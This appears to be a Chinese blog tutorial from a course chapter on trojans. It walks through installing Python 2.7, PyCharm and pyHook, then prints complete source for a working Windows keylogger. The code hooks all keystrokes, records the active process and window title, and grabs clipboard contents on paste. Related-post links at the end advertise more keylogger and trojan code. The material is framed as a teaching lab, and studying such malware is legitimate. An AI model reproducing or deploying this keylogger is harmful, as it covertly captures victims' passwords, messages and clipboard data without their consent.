目录

1、安装python2.7

2、安装pycharm edu

3、安装完成之后进行相关库的安装

​4、在pycharm中添加解释器

5、对键盘记录功能的代码

6、实验代码的运行


1、安装python2.7

(1)下载安装程序

下载链接如下:https://www.python.org/downloads/release/python-2712/

(2)打开上述链接,显示如下:

根据自己电脑配置进行选择,我的是win7 64位,所以我选择的是上述截图中红圈圈中的版本,点击左侧文件名会自动下载。

(3)双击下载之后的msi安装程序进行安装,选择“Install just for me(not available on Windows Vista)”,然后点“Next >”,操作截图如下

(4)选择安装路径,用默认的C盘即可,然后点“Next>”,操作截图如下:

(5)选择Python所要安装的文件,默认全部即可,然后点“Next>”,操作截图如下:

(6)安装完成之后显示如下截图的内容,点击“Finish”即可。

(7) 将安装的Python添加到环境变量中,右键“我的电脑”(win7系统有的显示是“计算机”)选择“属性”,然后选择“高级系统设置”,操作截图如下:

(8) 弹出的“系统属性”界面,选择“高级”里面的“环境变量(N)...”,操作显示如下:

(9) 弹出“环境变量”的对话框,在下面的“系统变量”中找到“Path”,然后点击“编辑”,操作显示如下:

(10) 在弹出的编辑对话框中,将Python的安装目录“C:\Python27”填写进去,注意,两个路径之间是用“;”分号隔开的。操作显示如下:

2、安装pycharm edu

下载地址如下:https://www.jetbrains.com/pycharm-edu/

3、安装完成之后进行相关库的安装

(1)ctypes库:安装在pycharm后,在pycharm;

即表示安装成功。

(2)pythoncom和win32clipboard库:在Python Packages栏搜索 pywin32安装

(3)pyhook库:下载好文件pyHook-1.5.1-cp27-cp27m-win_amd64.whl,并用命令行对其进行安装

4、在pycharm中添加解释器

(1)在pycharm中,点击File—>Settings…

(2)弹出Settings对话框中显示目前的Project Interpreter,点开下拉菜单,选择”Show All…“

(3)点击窗口右侧的+

(4)弹出如下对话框,选择“Existing environment”,并选择右边“…”图标,在和Python.exe同样的目录中,选择名为“Pythonw.exe”的interpreter:

(5)运行.py文件,文件解决

5、对键盘记录功能的代码

# -*- coding: UTF-8 -*-
#第7章 计算机木马
##############################################################################
# 程序名:keylogger.py
# 功能:利用Python第三方库PyHook实现键盘记录
# 说 明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个自
#         定义的钩子函数,通过函数就能截获用户的按键消息。
##############################################################################from ctypes import *
import pythoncom
import pyHook
import win32clipboarduser32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
current_window = Nonedef get_current_process():hwnd = user32.GetForegroundWindow()    # 获得前台窗口句柄pid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd, byref(pid))process_id = "%d" % pid.value             # 获得进程PIDexecutable = create_string_buffer("\x00" * 512)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 获得进程名window_title = create_string_buffer("\x00" * 512)length = user32.GetWindowTextA(hwnd, byref(window_title),512)   # 获得窗口名printprint "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)printkernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)def key_event(event):global current_windowif event.WindowName != current_window:  # 检查目标是否切换了窗口current_window = event.WindowNameget_current_process()if event.Ascii > 32 and event.Ascii < 127:    # 检查是否为常规按键print chr(event.Ascii),else:if event.Key == "V":                 # 如果是Ctrl+V,则获取剪贴板内容win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE] - %s" % (pasted_value),else:print "[%s]" % event.Key,return True                            # 返回到下一个钩子事件def key_logger():hooker         = pyHook.HookManager() # 创建钩子函数管理器hooker.KeyDown = key_event            # 注册钩子按键事件的处理函数hooker.HookKeyboard()                 # 创建键盘钩子pythoncom.PumpMessages()if __name__ == '__main__':key_logger()

6、实验代码的运行

(1)在桌面创建文件文本

(2)修改文件名,可以看见键盘被记录下来

编程实现键盘记录功能相关推荐

  1. python编程实现屏幕记录功能

    文件配置和库的调用可以看我上一个发的博客: python编程实现键盘记录功能 这里直接上代码: # -*- coding: UTF-8 -*- ############################ ...

  2. 【网络编程】Trojan源码 文件传输+远程cmd+键盘记录

    Trojan可以实现三个功能,分别为文件传输,远程执行cmd,键盘记录.其中键盘记录功能没有利用hook函数,有较强的隐蔽性. 现在给出源码: client: // client.cpp : 定义控制 ...

  3. meterpreter + 键盘记录

    分享下自己的关于[metterpreter + 键盘记录]的学习 这里是使用ms17_010打入目标主机,具体就不进行描述. ms17_010 成功的话就是SYSTEM权限 如果我们要对管理员的键盘进 ...

  4. TouchEn nxKey:键盘记录反键盘记录解决方案

    TouchEn nxKey:键盘记录反键盘记录解决方案 本文译自:TouchEn nxKey: The keylogging anti-keylogger solution 我一周前写过关于韩国的强制 ...

  5. c++监听键盘_想知道木马程序的键盘记录原理吗?python告诉你 !

    前言 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用.Python之所以用起来方便快捷,主要归功于这 ...

  6. python实现键盘记录木马_Python告诉你木马程序的键盘记录原理

    前言 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用.Python之所以用起来方便快捷,主要归功于这 ...

  7. java打印输出万年历_用Java编程输出万年历的功能实现

    1.功能实现 输入1查看上个月日历 输入2查看下个月日历 输入3查看去年本月日历 输入4查看明年本月日历 输入5查看指定月份日历 2.代码所导入的包 import java.text.ParseExc ...

  8. python输入一个英文句子、统计单词个数_C语言编程求一个英文句子中的单词数和最长单词的位置、长度及输出这个单词。c++编程 从键盘输入一个英文...

    C语言编程求一个英文句子中的单词数和最长单词的位置.长度及输出这个单词. c++编程 从键盘输入一个英文 www.zhiqu.org     时间: 2020-11-23 我刚做了一关于英文句子里面每 ...

  9. 按如下函数原型编程从键盘输入一个m行n列的二维数组,然后计算数组中元素的最大值及其所在的行列下标值。其中,m和n的值由用户键盘输入。已知m和n的值都不超过10。

    题目:按如下函数原型编程从键盘输入一个m行n列的二维数组,然后计算数组中元素的最大值及其所在的行列下标值.其中,m和n的值由用户键盘输入.已知m和n的值都不超过10. void InputArray( ...

最新文章

  1. python数据清洗实例_python 数据的清理行为实例详解
  2. GDCM:gdcm::FileMetaInformation的测试程序
  3. python中from import用法_python学习--Python之import与from...import的区别与用法
  4. JAVA面试题(part1)--变量相加与常量相加
  5. php mysql 正则_MySQL 正则表达式
  6. php在线模拟高考志愿,高考志愿模拟填报系统
  7. ETL异构数据源Datax_工具部署_02
  8. c语言判断二叉树是不是二叉排序树_判断
  9. Springboot的工作机制:1 Springboot初体验
  10. 小米root以及面具的使用
  11. 《30天自制操作系统》学习笔记--番外篇之Mac环境下的工具介绍
  12. 《Tsinghua os mooc》第1~4讲 启动、中断、异常和系统调用
  13. 什么是前置审批许可、后置审批许可?
  14. 四羧基锌酞菁(ZnC4Pc),Zn-taPc 的荧光激发光谱介绍,齐岳生物供应酞菁材料
  15. Google登录强制启用二次身份验证与FIDO解决方案
  16. 主流图数据库对比,Neo4j、ArangoDB、OrientDB、JanusGraph、HugeGraph
  17. can和could的用法_can与could用法归纳
  18. python 中关键字 global 的用法
  19. 【推荐系统】4种推荐引擎预测你的电影品味
  20. Spark之核心架构

热门文章

  1. TCP/IP高频考点之一个数据包的流浪日记 - 网络层
  2. git 如何将主分支(master)合并到子分支上
  3. php源码安装图文教程_织梦教程 整站源码通用安装教程内附图文说明
  4. [我所知道的BIOS]-[Jumpless] 4
  5. 2-2 第17次课 高项之人力资源管理
  6. x86架构下的安卓虚拟化
  7. Android X86 解决ARM兼容的问题
  8. 懒人精灵飞桨插件的使用
  9. 普元ESO 逻辑流返回值选择java--浏览卡住
  10. 宁夏小学三年级计算机下册教案,【宁夏三年级信息技术下册教案资讯】宁夏三年级信息技术下册教案足球知识与常识 - 足球百科 - 599比分...